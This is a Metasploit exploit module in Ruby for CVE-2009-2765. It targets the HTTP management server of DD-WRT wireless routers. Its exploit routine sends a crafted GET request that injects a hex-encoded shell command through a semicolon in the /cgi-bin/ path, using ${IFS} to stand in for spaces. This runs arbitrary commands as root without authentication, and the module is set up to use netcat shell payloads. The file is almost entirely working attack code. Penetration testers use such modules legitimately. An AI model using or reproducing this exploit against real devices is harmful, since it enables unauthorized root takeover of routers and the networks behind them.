##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,  
      'Name'           => 'DD-WRT HTTP Daemon Arbitrary Command Execution',
      'Description'    => %q{
        This module abuses a metacharacter injection vulnerability in the
      HTTP management server of wireless gateways running DD-WRT. This flaw
      allows an unauthenticated attacker to execute arbitrary commands as
      the root user account.
      },
      'Author'         => [ 'gat3way', 'hdm' ],
      'License'        => MSF_LICENSE,
      'Version'        => '$Revision$',
      'References'     =>
        [
          [ 'CVE', '2009-2765'],
          [ 'OSVDB', '55990' ],
          [ 'BID', '35742' ],
          [ 'URL', 'http://www.milw0rm.com/exploits/9209'],

        ],
      'Platform'       => ['unix'],
      'Arch'           => ARCH_CMD,        
      'Privileged'     => false,
      'Payload'        =>
        {
          'Space'       => 1024,
          'DisableNops' => true,
          'Compat'      =>
            {
              'RequiredCmd' => 'generic netcat-e'
            }
        },
      'Targets'        => 
        [
          [ 'Automatic Target', { }]
        ],
      'DefaultTarget' => 0))
      
      register_options(
        [
          Opt::RPORT(80)
        ], self.class)
  end
  
  def exploit
    connect

    cmd = payload.encoded.unpack("C*").map{|c| "\\x%.2x" % c}
    str = "echo${IFS}-ne${IFS}\"#{cmd}\"|/bin/sh&"
    req = 
      "GET /cgi-bin/;#{str} HTTP/1.1\r\n" +
      "Host: #{rhost}\r\n" +
      "Content-Length: 0\r\n\r\n"
    
    print_status("Sending GET request with encoded command line...")
    sock.put(req)
    
    handler
    disconnect
  end

end